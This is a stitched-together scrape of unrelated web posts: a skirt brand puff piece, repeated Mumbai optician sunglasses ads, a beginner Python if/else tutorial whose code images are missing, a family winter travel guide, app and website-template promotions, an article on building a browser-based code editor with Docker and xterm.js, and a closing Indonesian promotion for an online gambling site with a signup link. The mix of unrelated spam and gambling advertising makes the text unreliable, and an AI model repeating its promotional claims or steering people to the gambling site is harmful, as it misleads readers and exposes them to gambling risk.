• Versatility One of the defining features of Wildskirts is its versatility. The skirts can be dressed up or down depending on the occasion. Pair a Wildskirts piece with a blazer and heels for a sophisticated office look or with a casual top and sneakers for a laid-back weekend outfit.
• Fit and Flare Wildskirts offers a variety of fits, from figure-hugging pencil skirts to flowy A-line skirts. This diversity ensures that women of all body types can find something that flatters their silhouette and enhances their confidence.
Popular Collections
• Wild Prints Collection This collection features bold, eye-catching prints that are perfect for making a statement. Animal prints, abstract designs, and floral patterns dominate this line, reflecting the wild and free-spirited ethos of the brand.
• Classic Elegance Collection For those who prefer a more understated look, the Classic Elegance Collection offers timeless designs in neutral colours and classic cuts. These skirts are ideal for formal events or professional settings.
• Eco-Friendly Collection Highlighting Wildskirts' commitment to sustainability, the Eco-Friendly Collection is made from organic and recycled materials. These skirts not only look good but also make you feel good about contributing to a greener planet.
[Cargo Skirts](https://wildskirts.uk/product-category/cargo-skirts/) have garnered a loyal customer base thanks to its exceptional customer service and user-friendly shopping experience. The brand offers detailed sizing guides, ensuring that customers can find their perfect fit with ease. Additionally, the website features a vibrant community section where customers can share their styling tips and photos, fostering a sense of community and engagement.
Testimonials
Customers rave about the quality and design of Wildskirts. Here are a few testimonials:
• Sophia L.: "I absolutely love my Wildskirts! The quality is fantastic, and the designs are so unique. I always get compliments whenever I wear them."
• Maya K.: "Wildskirts has become my go-to brand for skirts. They are incredibly comfortable and versatile. I can wear them to work or a night out with friends."
• Rachel S.: "I appreciate Wildskirts' commitment to sustainability. It's great to see a brand that cares about the environment and still delivers fashionable products."
Leather Skirt is more than just a fashion brand; it's a movement that celebrates individuality, quality, and sustainability. By offering innovative designs, unparalleled comfort, and a commitment to ethical practices, Wildskirts has carved a niche for itself in the fashion industry. Whether you're looking to make a bold fashion statement or simply want a reliable and stylish skirt, Wildskirts has something to offer.
Embrace your wild side with Wildskirts and experience the perfect blend of style and comfort. With their wide range of collections and commitment to excellence, Wildskirts is set to become a staple in every fashion-conscious woman's wardrobe.
| rano_g_dc2738718dcf79b9c1 | |
1,890,156 | Make a splash in style with our fantastic goggles with 𝐄𝐲𝐞𝐦𝐚𝐱 𝐎𝐩𝐭𝐢𝐜𝐚𝐥𝐬! | Whether you're at the beach, on the slopes, or just want to look great, we have the perfect... | 0 | 2024-06-16T09:12:16 | https://dev.to/eyemaxopticalsmumbai/make-a-splash-in-style-with-our-fantastic-goggles-with--1792 | opticalsnearme, bandrawest, mumbai, india | Whether you're at the beach, on the slopes, or just want to look great, we have the perfect collection of [𝐬𝐮𝐧𝐠𝐥𝐚𝐬𝐬𝐞𝐬 ](https://www.instagram.com/eyemaxopticalsmumbai/)for you ...😎
✨ Trendy designs to boost your style
✨ Top-notch UV protection for your eyes
✨ Comfortable and secure fit for any activity
✨ Built to last through all your adventures
Protect your eyes and make a fashion statement with stylish goggles! 🏄♂️⛷️
📍 [𝗟𝗼𝗰𝗮𝘁𝗶𝗼𝗻](https://maps.app.goo.gl/neCDvm2NH2jfk1vw8): [Diamond Palace, 8/15 A, Hill Rd, Santosh Nagar, Bandra West, Mumbai, Maharashtra 400050]
🕒 𝗦𝘁𝗼𝗿𝗲 𝗛𝗼𝘂𝗿𝘀: [All Days, 10 am–8:30 pm]
📞 𝐂𝐨𝐧𝐭𝐚𝐜𝐭 𝐔𝐬: [𝟎𝟐𝟐 𝟔𝟔𝟗𝟐 𝟓𝟕𝟏𝟐 | 𝟎𝟖𝟎𝟖𝟎𝟒 𝟓𝟐𝟔𝟗𝟖 | 𝟎𝟐𝟐 𝟔𝟐𝟑𝟔 𝟏𝟖𝟒𝟒]
↖️ 𝐃𝐢𝐫𝐞𝐜𝐭𝐢𝐨𝐧𝐬: https://maps.app.goo.gl/GupnDnmPS67uv6NUA
See you soon!!
#bestopticalinbandra #opticalshopsinbandra #eyeopticalstoreinbandra #opticiansinbandrawest #eyewear #sunglasses #brandedfashionwear #opticalshopnearme #besteyeopticalstorenearme #bandra #bandrawest #mumbai
| eyemaxopticalsmumbai |
1,890,155 | 𝐂𝐡𝐥𝐨é | Eyemax Opticals | 𝐂𝐡𝐥𝐨é| Gayia Sunglasses Size: 47 mm | Bridge: 22 mm | Temples: 145 mm concept inspired by havana... | 0 | 2024-06-16T09:08:51 | https://dev.to/eyemaxopticalsmumbai/e-eyemax-opticals-3ha0 | eyewear, luxury, opticalnearme, bandrawest | 𝐂𝐡𝐥𝐨é| Gayia Sunglasses
Size: 47 mm | Bridge: 22 mm | Temples: 145 mm
concept inspired by havana shades and color blocks | These sunglasses for women come with a case and lens cloth.
Tap "[Here](https://www.instagram.com/reel/C5FL6nVI4-Q/?utm_source=ig_web_copy_link&igsh=MzRlODBiNWFlZA==)" now,
𝗖𝗼𝗺𝗲 𝘃𝗶𝘀𝗶𝘁 𝘂𝘀 at [𝑬𝒚𝒆𝒎𝒂𝒙 𝑶𝒑𝒕𝒊𝒄𝒂𝒍𝒔](https://www.instagram.com/eyemaxopticalsmumbai/) to try on these fantastic new glasses and find the perfect pair for you. Whether you're looking for a stylish new pair or something functional and durable, we've got you covered.
𝐄𝐱𝐜𝐥𝐮𝐬𝐢𝐯𝐞 𝐄𝐲𝐞𝐰𝐞𝐚𝐫, 𝐄𝐱𝐜𝐞𝐩𝐭𝐢𝐨𝐧𝐚𝐥 𝐒𝐞𝐫𝐯𝐢𝐜𝐞
📍 𝗟𝗼𝗰𝗮𝘁𝗶𝗼𝗻: [Diamond Palace, 8/15 A, Hill Rd, Santosh Nagar, Bandra West, Mumbai, Maharashtra 400050]
🕒 𝗦𝘁𝗼𝗿𝗲 𝗛𝗼𝘂𝗿𝘀: [All Days, 10 am–8:30 pm]
📞 𝐂𝐨𝐧𝐭𝐚𝐜𝐭 𝐔𝐬: [𝟎𝟐𝟐 𝟔𝟔𝟗𝟐 𝟓𝟕𝟏𝟐 | 𝟎𝟖𝟎𝟖𝟎𝟒 𝟓𝟐𝟔𝟗𝟖 | 𝟎𝟐𝟐 𝟔𝟐𝟑𝟔 𝟏𝟖𝟒𝟒]
↖️𝐃𝐢𝐫𝐞𝐜𝐭𝐢𝐨𝐧𝐬: https://maps.app.goo.gl/GupnDnmPS67uv6NUA
See you soon!!
#chloé #shopping #fashion #luxury #opticians #spectacles #eyewear #luxuryeyewear #bandrawest #mumbai
| eyemaxopticalsmumbai |
1,890,154 | 𝐑𝐚𝐲-𝐁𝐚𝐧 | Eyemax Opticals | 𝐑𝐚𝐲-𝐁𝐚𝐧 | Mega Warfarer Size: 51 mm | Bridge: 21 mm | Temples: 145 mm 👉🏻 made in Italy | acetate... | 0 | 2024-06-16T09:04:59 | https://dev.to/eyemaxopticalsmumbai/-eyemax-opticals-5e94 | eyewear, luxury, bandrawest, mumbai | 𝐑𝐚𝐲-𝐁𝐚𝐧 | [Mega Warfarer](https://www.instagram.com/p/C5M8yEUoHXg/?utm_source=ig_web_copy_link&igsh=MzRlODBiNWFlZA==)
Size: 51 mm | Bridge: 21 mm | Temples: 145 mm
👉🏻 made in Italy | acetate 100% | 60s rock and '80s art | square frame | tinted lenses | curved tips | logo-engraved arm | straight arms. These glasses come with a protective case.
🏪 𝗖𝗼𝗺𝗲 𝘃𝗶𝘀𝗶𝘁 𝘂𝘀 at [𝑬𝒚𝒆𝒎𝒂𝒙 𝑶𝒑𝒕𝒊𝒄𝒂𝒍𝒔](https://www.instagram.com/eyemaxopticalsmumbai/) to try on these fantastic new glasses and find the perfect pair for you. Whether you're looking for a stylish new pair or something functional and durable, we've got you covered.
𝐄𝐱𝐜𝐥𝐮𝐬𝐢𝐯𝐞 𝐄𝐲𝐞𝐰𝐞𝐚𝐫, 𝐄𝐱𝐜𝐞𝐩𝐭𝐢𝐨𝐧𝐚𝐥 𝐒𝐞𝐫𝐯𝐢𝐜𝐞
📍 𝗟𝗼𝗰𝗮𝘁𝗶𝗼𝗻: [8/15 A, Hill Road, Diamond Palace, Santosh Nagar, Bandra West, Mumbai, Maharashtra 400050]
🕒 𝗦𝘁𝗼𝗿𝗲 𝗛𝗼𝘂𝗿𝘀: [All Days, 10 am–8:30 pm]
📞 𝐂𝐨𝐧𝐭𝐚𝐜𝐭 𝐔𝐬: [𝟎𝟐𝟐 𝟔𝟔𝟗𝟐 𝟓𝟕𝟏𝟐 | 𝟎𝟖𝟎𝟖𝟎𝟒 𝟓𝟐𝟔𝟗𝟖 | 𝟎𝟐𝟐 𝟔𝟐𝟑𝟔 𝟏𝟖𝟒𝟒]
↖️𝐃𝐢𝐫𝐞𝐜𝐭𝐢𝐨𝐧𝐬: https://maps.app.goo.gl/GupnDnmPS67uv6NUA
See you soon!!
#megawayfarer #sunglasses #eyemaxopticalsmumbai #bandra #khar #opticians #luxury #eyewear #fashion #bandrawest #mumbai | eyemaxopticalsmumbai |
1,890,153 | 👓 𝐏𝐚𝐥𝐦 𝐀𝐧𝐠𝐞𝐥𝐬 | Gilroy oval-frame sunglasses | Gilroy oval-frame sunglasses Size: 50 mm | Bridge: 20 mm | Temples: 145 mm 👉🏻 made in Italy |... | 0 | 2024-06-16T08:59:39 | https://dev.to/eyemaxopticalsmumbai/-gilroy-oval-frame-sunglasses-42pa | eyewear, opticalshopnearme, bandrawest, mumbai | [Gilroy oval-frame sunglasses ](https://www.instagram.com/p/C5P1hdssaLC/?utm_source=ig_web_copy_link&igsh=MzRlODBiNWFlZA==)
Size: 50 mm | Bridge: 20 mm | Temples: 145 mm
👉🏻 made in Italy | acetate 100% | oval frame | tinted lenses | UV-protective lenses | logo-engraved arm | sculpted arms with curved tips. These glasses come with a protective case.
🏪 𝗖𝗼𝗺𝗲 𝘃𝗶𝘀𝗶𝘁 𝘂𝘀 at [𝑬𝒚𝒆𝒎𝒂𝒙 𝑶𝒑𝒕𝒊𝒄𝒂𝒍𝒔](https://www.instagram.com/eyemaxopticalsmumbai/) to try on these fantastic new glasses and find the perfect pair for you. Whether you're looking for a stylish new pair or something functional and durable, we've got you covered.
𝐄𝐱𝐜𝐥𝐮𝐬𝐢𝐯𝐞 𝐄𝐲𝐞𝐰𝐞𝐚𝐫, 𝐄𝐱𝐜𝐞𝐩𝐭𝐢𝐨𝐧𝐚𝐥 𝐒𝐞𝐫𝐯𝐢𝐜𝐞
📍 𝗟𝗼𝗰𝗮𝘁𝗶𝗼𝗻: [8/15 A, Hill Road, Diamond Palace, Santosh Nagar, Bandra West, Mumbai, Maharashtra 400050]
🕒 𝗦𝘁𝗼𝗿𝗲 𝗛𝗼𝘂𝗿𝘀: [All Days, 10 am–8:30 pm]
📞 𝐂𝐨𝐧𝐭𝐚𝐜𝐭 𝐔𝐬: [𝟎𝟐𝟐 𝟔𝟔𝟗𝟐 𝟓𝟕𝟏𝟐 | 𝟎𝟖𝟎𝟖𝟎𝟒 𝟓𝟐𝟔𝟗𝟖 | 𝟎𝟐𝟐 𝟔𝟐𝟑𝟔 𝟏𝟖𝟒𝟒]
↖️𝐃𝐢𝐫𝐞𝐜𝐭𝐢𝐨𝐧𝐬: https://maps.app.goo.gl/GupnDnmPS67uv6NUA
See you soon!!
#palmangels #luxury #eyewear #bandra #khar #sunglasses #shopping #fashion #eyemaxopticalsmumbai
| eyemaxopticalsmumbai |
1,890,152 | If Else In Python | We require decision making whenever we want to execute certain part of code only if the condition is... | 0 | 2024-06-16T08:55:35 | https://dev.to/pulkitgovrani/if-else-in-python-2315 | devchallenge, cschallenge, computerscience, beginners |
We require decision making whenever we want to execute certain part of code only if the condition is satisfied. So if, elif and else are used for decision making in python.
## Basic Example
A person is allowed to drive a car if he/she is more than 18 years old else he cannot drive the car.
### Code:

Input 1:
18
Output 1:
You are eligible to drive a car
Input 2:
16
Output 2:
You cannot drive a car
## More Complex Example
Assume that if a student’s age is less than 6 then he has to play only, if the age is between 6 to 14 then he has to study and play, if the age is greater than 14 then he can do anything.
### Code:

Input 1:
5
Output 1:
You can play
Input 2:
14
Output 2:
You can study and play also
## Checking Single Statement
Note: If we want just to check a condition that it exists or not then it can be done by using only if condition.
### Code:

Input 1:
13
Output 1:
You are a teenager
Input 2:
11
Output 2:
No Output
I hope you have understood the functionality of if & else conditional statements in python.
| pulkitgovrani |
1,890,151 | 𝐈𝐧𝐭𝐫𝐨𝐝𝐮𝐜𝐢𝐧𝐠 𝐭𝐡𝐞 𝐑𝐚𝐲-𝐁𝐚𝐧 𝐱 𝐒𝐜𝐮𝐝𝐞𝐫𝐢𝐚 𝐅𝐞𝐫𝐫𝐚𝐫𝐢 𝐂𝐨𝐥𝐥𝐞𝐜𝐭𝐢𝐨𝐧! 🚗💨 | Ready to add some serious style to your look? These shades aren't just about looking good –... | 0 | 2024-06-16T08:54:20 | https://dev.to/eyemaxopticalsmumbai/--373b | eyewear, opticalshopnearme, bandrawest, mumbai | > Ready to add some serious style to your look?
These shades aren't just about looking good – they're about feeling incredible too. Imagine slipping on a pair and instantly feeling like you're part of something special, like you're ready to take on the world. 🌎✨
With every detail meticulously crafted, from the sleek design to the vibrant colors, (Dimensions: Frame Width - 140mm, Lens Height - 48mm, Temple Length - 145mm) you can't help but feel the excitement of the road coursing through your veins. 😎🏁
So why settle for ordinary when you can experience the thrill of speed and luxury every time you put on your shades? Join the [Ray-Ban x Scuderia Ferrari](https://www.instagram.com/reel/C8PYswesibu/?utm_source=ig_web_copy_link&igsh=MzRlODBiNWFlZA==) family and let's hit the road in style with [Eyemax opticals](https://www.instagram.com/eyemaxopticalsmumbai/)! 🏎️👌
Get yours today! 😎
📍 𝗟𝗼𝗰𝗮𝘁𝗶𝗼𝗻: [Diamond Palace, 8/15 A, Hill Rd, Santosh Nagar, Bandra West, Mumbai, Maharashtra 400050]
🕒 𝗦𝘁𝗼𝗿𝗲 𝗛𝗼𝘂𝗿𝘀: [All Days, 10 am–8:30 pm]
📞 𝐂𝐨𝐧𝐭𝐚𝐜𝐭 𝐔𝐬: [𝟎𝟐𝟐 𝟔𝟔𝟗𝟐 𝟓𝟕𝟏𝟐 | 𝟎𝟖𝟎𝟖𝟎𝟒 𝟓𝟐𝟔𝟗𝟖 | 𝟎𝟐𝟐 𝟔𝟐𝟑𝟔 𝟏𝟖𝟒𝟒]
↖️ 𝐃𝐢𝐫𝐞𝐜𝐭𝐢𝐨𝐧𝐬: https://maps.app.goo.gl/GupnDnmPS67uv6NUA
See you soon!!
#RayBan #ScuderiaFerrari #FerrariCollection #SpeedAndStyle #LuxuryEyewear #Bandra #BandraWest #Mumbai
| eyemaxopticalsmumbai |
1,890,148 | Cheap countries to travel in winter with family | Traveling with family during the winter can be a magical experience without breaking the bank.... | 0 | 2024-06-16T08:45:39 | https://dev.to/blogland/cheap-countries-to-travel-in-winter-with-family-3f66 | Traveling with family during the winter can be a magical experience without breaking the bank. Exploring budget-friendly destinations allows you to enjoy memorable vacations without compromising on fun and adventure. Here’s a comprehensive guide to help you plan an affordable family winter vacation.
Why Choose Budget-Friendly Destinations for Family Winter Travel?
Choosing budget-friendly destinations for winter travel enables families to experience new cultures, landscapes, and activities without financial strain. Affordable destinations often offer rich cultural experiences, delicious local cuisine, and beautiful scenery, making them ideal for families looking to create lasting memories.

## Top Affordable Countries for Winter Family Vacations
## [Thailand](https://en.wikipedia.org/wiki/Thailand)
Thailand offers warm weather, beautiful beaches, and rich cultural experiences. Cities like Bangkok and Chiang Mai are budget-friendly and family-oriented.
## Mexico
Mexico is perfect for families seeking sun and adventure. Cities like Cancun and Puerto Vallarta offer affordable resorts and plenty of family-friendly activities.
## Portugal
Portugal, with its mild winter climate, historic sites, and affordable accommodations, is a great European destination for families.
## Hungary
Budapest, Hungary’s capital, is known for its stunning architecture, thermal baths, and budget-friendly attractions, making it an excellent winter destination for families.
## Vietnam
Vietnam is an affordable destination with diverse landscapes, from beaches to mountains, and a rich cultural heritage that appeals to families.
## Weather Considerations for Winter Travel
When choosing a winter travel destination, consider the weather to ensure it suits your family’s preferences. Some families prefer escaping the cold for warmer climates, while others might enjoy winter activities in colder regions. Researching the average temperatures and weather conditions of your chosen destination is crucial for planning.

## Best Activities for Families in Winter Destinations
## Beach Activities
In warmer destinations like Thailand and Mexico, families can enjoy beach activities such as swimming, snorkeling, and building sandcastles.
## Cultural Tours
Destinations like Portugal and Vietnam offer rich cultural experiences, including museum visits, historical site tours, and local festivals.
## Outdoor Adventures
For colder climates, look for activities like ice skating, skiing, and visiting winter markets. Budapest, for example, is famous for its Christmas markets and thermal baths.
## Budget-Friendly Accommodation Options
## Hostels and Guesthouses
Many budget-friendly destinations offer affordable hostels and guesthouses that cater to families. These accommodations often provide basic amenities and a friendly atmosphere.
## Vacation Rentals
Platforms like Airbnb and Vrbo offer vacation rentals that can accommodate families at lower costs compared to hotels. This option also allows families to prepare their own meals, saving on dining expenses.
## Budget Hotels
Look for budget hotel chains that offer family rooms and complimentary breakfasts. Booking in advance and during off-peak times can result in significant savings.

## Tips for Saving Money on Family Winter Trips
Book Early: Secure flights and accommodations early to take advantage of lower prices.
Travel Off-Peak: Avoid traveling during peak holiday seasons to find better deals and fewer crowds.
Use Public Transportation: Utilize public transportation instead of taxis to save money.
Eat Local: Enjoy meals at local eateries rather than expensive tourist restaurants.
Free Activities: Look for free or low-cost activities and attractions at your destination.
How to Plan a Cost-Effective Winter Vacation with Family
Set a Budget: Determine your overall budget and allocate funds for flights, accommodations, meals, and activities.
Research Destinations: Choose affordable destinations that offer family-friendly activities and accommodations.
Create an Itinerary: Plan a flexible itinerary that includes both free and paid activities.
Book Flights and Accommodations: Look for deals and book as early as possible.
Pack Smart: Prepare for the weather and pack efficiently to avoid extra baggage fees.
Packing Tips for Winter Family Travel
Layering: Pack clothing that can be layered to accommodate varying temperatures.
Comfortable Footwear: Bring comfortable walking shoes suitable for different activities.
Weather Essentials: Include hats, gloves, and scarves for colder destinations, and sunscreen and hats for warmer climates.
Travel Essentials: Pack travel-sized toiletries, medications, and entertainment for the kids.
Safety Tips for Traveling with Family in Winter
Stay Informed: Keep updated on weather conditions and travel advisories for your destination.
Emergency Contacts: Have a list of emergency contacts and local emergency numbers.
Health Precautions: Carry necessary medications and a first-aid kit.
Travel Insurance: Invest in travel insurance that covers health, cancellations, and emergencies.
Keep Valuables Secure: Use money belts or secure bags to protect your valuables.
Cultural Experiences on a Budget in Winter Destinations
Local Festivals
Many destinations have winter festivals that are free to attend and offer a glimpse into local culture and traditions.
## Museums and Historical Sites
Look for museums and historical sites with free or discounted entry days.
## Street Markets
Explore local street markets for affordable souvenirs, street food, and cultural experiences.
Traveling to budget-friendly destinations in winter allows families to enjoy memorable experiences without financial stress. With careful planning and smart choices, you can make the most of your winter vacation and create lasting memories with your loved ones. | blogland | |
1,890,147 | Project: Echopad | Hey Guys, Excited to share my latest project - EchoPad. A powerful web app that helps you sync... | 0 | 2024-06-16T08:33:32 | https://dev.to/paras594/project-echopad-37jc | webdev, javascript, product, pwa | Hey Guys,
Excited to share my latest project - EchoPad. A powerful web app that helps you sync texts, links & files seamlessly across devices in real-time and enjoy hassle-free file management.
🔗 EchoPad: [https://echopad.vercel.app/](https://echopad.vercel.app/)
1. Register & Login on EchoPad.
2. Type in your block of text, links or upload some files using file manager.
3. Access your account on another device & there you have your data.
❓Why use EchoPad?
- No need to email yourself links, files & texts.
- No need to rely on messaging apps to share files across devices.
- No need to login your personal accounts & mails on some other device.
And to make it convenient, you can install it and use it like any other app on your device.
⏩ Stay tuned for upcoming features! I am continuously improving and refining the EchoPad.
### Technical aspects of project
It's a small Progressive Web App, built using React, Node, Express and MongoDB. Socket.io is also used to help sync data in real time to avoid saving and refreshing data manually in multiple devices. It also supports file upload to be able share some small files across devices. To save some space, files get deleted after 24hrs.
Apart from this, there is not much to it. It's a simple web app. Give it a try and share your thoughts.
#### Other posts by me
[Basics of caching & caching in depth](https://dev.to/paras594/basics-of-caching-139l)
[What can we learn from bootstrap css](https://dev.to/paras594/what-can-we-learn-from-bootstrap-css-42ll)
[Create stopwatch using C++](https://dev.to/paras594/create-stopwatch-with-c-46bp)
| paras594 |
1,889,985 | BlueHost | Game Hosting Website Template | The BlueHost | Game Hosting Website Template by _PixelDev _ offers a comprehensive and... | 0 | 2024-06-16T03:03:37 | https://dev.to/pixelhub/bluehost-game-hosting-website-template-1e7k | javascript, webdev, css, html |

**The BlueHost | Game Hosting Website Template** by _PixelDev _
offers a comprehensive and user-friendly design tailored for game hosting services. It includes a variety of essential pages, such as a Landing Page, and specialized hosting pages for popular games like Minecraft (both standard and Bedrock editions), Rust, Terraria, Ark: Survival Evolved, and 7 Days to Die. The template also comes with an About Us page, a Terms of Service page, and a 404 Error page to ensure a complete and professional web presence. One of the standout features is its easy-to-use structure, requiring no coding skills, thanks to its clean code and JavaScript, which makes customization straightforward. Detailed documentation is provided in PDF format to assist users further. If you appreciate this high-quality template, don't forget to give it a five-star rating! ⭐⭐⭐⭐⭐
**Features**
_Features of the website template_
👉 **_Pages_**
- Landing Page
- Minecraft Hosting
- Minecraft Bedrock Hosting
- Rust Hosting
- Terraria Hosting
- Ark Survival Hosting
- 7 days to die Hosting
- About us page
- Terms of Service page
- 404 Error page
👉 More Features
**Easy To Code**
- No Codding Skills Required
- Clean Code
- JavaScript to make more easier to customize
Documentation file included in PDF Format
Like my work don't forget to rate it ⭐⭐⭐⭐⭐

> 📚 Buy For Here :- [[clickme](https://builtbybit.com/resources/bluehost-game-hosting-website.44268/)]
> 🗂 Discord Server :- [[clickme]( https://discord.gg/PgQQRQnDA6)]
| pixelhub |
1,882,858 | Use the correct version | When developing software, it's very common, and perhaps necessary, to check for the version of your... | 0 | 2024-06-16T08:31:49 | https://dev.to/al3xlp/use-the-correct-version-nkg | development | When developing software, it's very common, and perhaps necessary, to check for the version of your programming language that best fits your technical requirements in terms of support, third-party libraries, or even compatibility with your operating system.
It's a very common error to simply select the latest version, use a package manager like NPM or PIP, and start coding right away. Just because our favorite programming languages have cool and very sugary syntax, it doesn't mean it's always the best choice.
Here is where the issue begins. So, where exactly is the problem?
## Problems
- **Compatibility**:
When you change the OS version or type (e.g., Windows to macOS) sometimes it comes with a pre-installed version that doesn't match the one you need and change OS version can lead in issues that you don't want.
- **Support**:
When you need to provide support for an app that use an older or newer version than the one you usually use.
- **Performance**:
When you need to upgrade a dependency for performance issues that was solved in new releases.
- **Security**:
Sometimes it a must change version in order to upgrade a dependency due to security risk.
## The Solution (at least with node):
To address these problems, developers can use Node Version Manager (nvm), a powerful tool designed to manage multiple Node.js versions on a single machine. Here’s how [nvm](https://github.com/nvm-sh/nvm) can help:
1. **Seamless Version Switching:**
With simple commands, you can switch to the required version, ensuring compatibility and stability.
2. **Project-Specific Versions:**
You can specify a version for each project. This ensures that each project runs with the version it was developed and tested on, minimizing compatibility and performance issues.
3. **Simplified Management:**
Simplifies the management of versions. You can install, update, and uninstall versions with ease, ensuring that your development environment remains clean and organized.
4. **Consistency Across Environments:**
Ensure that the version used in development matches the versions used in testing and production environments. This consistency reduces the likelihood of encountering environment-specific bugs, leading to a more stable and reliable application.
5. **Enhanced Productivity:**
The ability to quickly switch versions and maintain project-specific configurations enhances productivity and streamlines the development process.
| al3xlp |
1,890,146 | How to build a Web IDE like codesandbox? | Introduction I first came across Web IDE’s during my college days through online... | 0 | 2024-06-16T08:24:06 | https://dev.to/abdddd/how-to-build-a-web-ide-like-codesandbox-38e6 | webdev, node, react, vscode |
## Introduction
I first came across Web IDE’s during my college days through online competitive coding platforms like leetcode and hackerrank, and since then the concept of web based IDE’s or Editors has always intruded me and this being relatively very niche topic I could not find much resources on its workings. However by the end of my final year I came up with a prototype web IDE that lets you build react applications in the browser, the prototype had a file explorer, working terminal, code editor and a live preview window. Back then i was too embarrassed about my code quality and architecture that i did not post or open-source the project. Fast forward to today, I revisited the project again, laughed at my mistakes and ended up improving the IDE to my best knowledge and now i have decided to open-source it. If you find my content interesting, leave a 💖 and follow me for more.
**Features:**
Code editor (Monaco)
File explorer
Xterm.js terminal
LSP (Language server protocol) Support
**Tech stack:**
Node.js
Docker
React
**Available Implementations**
Before I explain my implementation of online code editor, I would like to mention few other available approaches/websites such as:
1. **VS Code.dev**: Core VS Code is open-source (other than extensions marketplace) and since it is built with web technologies like HTML, CSS and JS through electron framework, all most all of the editor front end is compatible to run inside a web browser, but for editor backend it makes use of remote servers or docker containers.

2. **StackBlitz**: Uses WASM and WebContainers to power their code playgrounds that run entirely inside a web browser.

**My Build:**
Since I wanted to build (or at least assemble) my own editor VS Code wasn’t the approach that i was interested in. The StackBlitz is cutting edge and a great piece of tech but there is limitation to amount of stuff that can be done through WASM.
So my approach was to take all the available open-source tools and stitched them together to run as a web editor.
**FrontEnd**: I used monaco and xterm.js as my editor and terminal respectively (VS Code also uses these). I wrote a small recursive file explorer component for viewing, creating and deleting files/folders. The entire editor is responsive thanks to split.js.
The frontend is build with react and deployed as a static site inside my S3 bucket.
[The link to frontend repo](https://github.com/iam-abdul/react_monaco_xtermjs_web_ide_with_LSP)
**Backend**: The backend is written in node.js and it runs inside a docker container. The backend is responsible for serving project files and writing content to the files and also spawning a terminal instance for the user (with non root privileges).
[The link to backend repo](https://github.com/iam-abdul/python_golang_monaco_language_client_xterm_backend)

## Enough talk show me code…!
For Editor there are many react monaco wrappers out there, but after trying out a few of them the best one I found is from typefox called monaco-language client. The great thing about this is, it seamlessly integrates with almost all vs-code syntax highlighting extensions and also it provides a way to integrate Language servers over web sockets (this is the coolest part, more on this in later section).
{% embed https://gist.github.com/iam-abdul/c36e5374f4b5e3aa1148ae86d417c616.js %}
The coolest part of this repo is that it strips down and makes use of existing VS Code extensions for providing language specific syntax highlighting (check line no 1). Checkout [Monarch](https://microsoft.github.io/monaco-editor/monarch.html) if you want to build syntax highlighting by yourself.
Also here you can see the golang lsp configuration, but what is **LSP** ?
**LSP** stands for **Language Server Protocol**. It’s basically a special language that lets code editors and development environments (like Visual Studio Code) to talk to language servers.
These language servers are like mini programs that understand the ins and outs of a specific programming language. The editor can ask the server questions about your code, and the server can provide cool features like auto-completion, finding errors, auto importing packages, or jumping to where a function is defined.
Before Microsoft introduced the LSP protocol the language developers used to write language support plugins for each and every editor out there, but now thanks to this protocol the language server is implemented once and used everywhere.
When a language support extension is installed in VS Code, it basically gets the syntax highlighting and sets up the language server. The VS Code runs the installed language server as a process and communicates through Json-RPC calls. But for our web editor we cannot run these language servers in browser, so we run the language server inside the docker container and transfer all the JSON-RPC calls made by the editor to the language server via a web socket connection. You can think of this as a way of piping | the RPC calls over sockets.
```
{
serverName: "GOPLS",
pathName: "/gopls",
serverPort: 80,
runCommand: "gopls",
runCommandArgs: ["serve"],
}
```
Checkout the [backend](https://github.com/iam-abdul/python_golang_monaco_language_client_xterm_backend/blob/9e6b6cbea7bab083a2239f8dd5e09e904450dc4c/python-lsp.ts#L53C3-L64C4) repo for complete code.
**Let’s talk about the terminal**
VS Code uses [Xterm.js](https://xtermjs.org/) for its integrated terminal. Xterm.js is a terminal emulator with rich plugin/add-on ecosystem. Since our entire user workspace is inside a docker container and only the front end is being served through web, we need a way to attach our Xterm.js terminal emulator to a process that in turn interacts with pty on docker.
To achieve this I made use of node-pty, xterm.js attach add on. The node-pty spawns a child processes that can interact with the operating system like you would on a real terminal, but we need a way to transfer the commands and responses from web to backend running inside the docker container, for this I made use of attach add-on for xterm.js. This works similar to the LSP setup i.e, each keystroke in terminal (xterm.js) is transferred to backend via socket connection and then its fed into the node-pty process and response generated in turn is brought back.
{% embed https://gist.github.com/iam-abdul/ef2df0da36d91325bb623ce10947e857.js %}
Backend code for terminal:
{% embed https://gist.github.com/iam-abdul/3e04d159bca511df0413034acb76459d.js %}
This concludes the terminal section of the web IDE.
**Additional features:**
We have a file explorer and a terminal, since files or directories could also be modified via terminal we need a way to communicate those changes to frontend. For this I made use of [Chokidar](https://www.npmjs.com/package/chokidar), this package lets us setup file system watcher (nodemon also makes use of chokidar) and through following callbacks we can communicate file system changes.
{% embed https://gist.github.com/iam-abdul/3a9433bc0789ebe6d9f0ff9045409dcb.js %}
The above piece of code listens for new file additions and sends a socket event to frontend so that UI stays in sync even if the files are being created from the terminal or any other process.
**Security and deployment:**
Through a web IDE we are basically giving people on the internet access to free cloud compute and chances of malicious actors taking advantage of such system is high. Since the backend is in docker, we could easily limit the CPU and Memory usage of each container and instead of giving root access to the user we can create a low privileged user and spawn the terminal through this user.
**Dockerfile**:
{% embed https://gist.github.com/iam-abdul/f33e88186c9249734d228b41260f5a60.js %}
Run the docker container with command
> docker run -p 80:80 -d playground
This is just a fun little project, its far from being a perfect and secure code editor, if you find any issues please report them on github.
If you found this article helpful, leave a 💖 here or a ⭐ on [github](https://github.com/iam-abdul).
Follow me for interesting content
Socials:
https://www.linkedin.com/in/abdul-mohammad-a567b2183/
https://github.com/iam-abdul
| abdddd |
1,890,145 | aladdin138 | Aladdin138 terus mengembangkan reputasinya sebagai salah satu platform perjudian daring terkemuka... | 0 | 2024-06-16T08:22:59 | https://dev.to/faisal_ali_6726c053dbbdab/aladdin138-5h4n | webdev, javascript, beginners, programming | Aladdin138 terus mengembangkan reputasinya sebagai salah satu platform perjudian daring terkemuka dengan menghadirkan berbagai fitur dan promosi yang menarik bagi para pengguna mereka. Mereka secara teratur mengadakan turnamen besar dengan hadiah menggiurkan, yang tidak hanya meningkatkan eksitasi berjudi tetapi juga memberi kesempatan kepada pemain untuk memenangkan hadiah besar. Turnamen ini mencakup berbagai jenis permainan, mulai dari slot hingga permainan meja, dan menarik partisipasi dari pemain dari seluruh dunia.
daftar disini: [https://readingbuddysoftware.com](https://readingbuddysoftware.com)
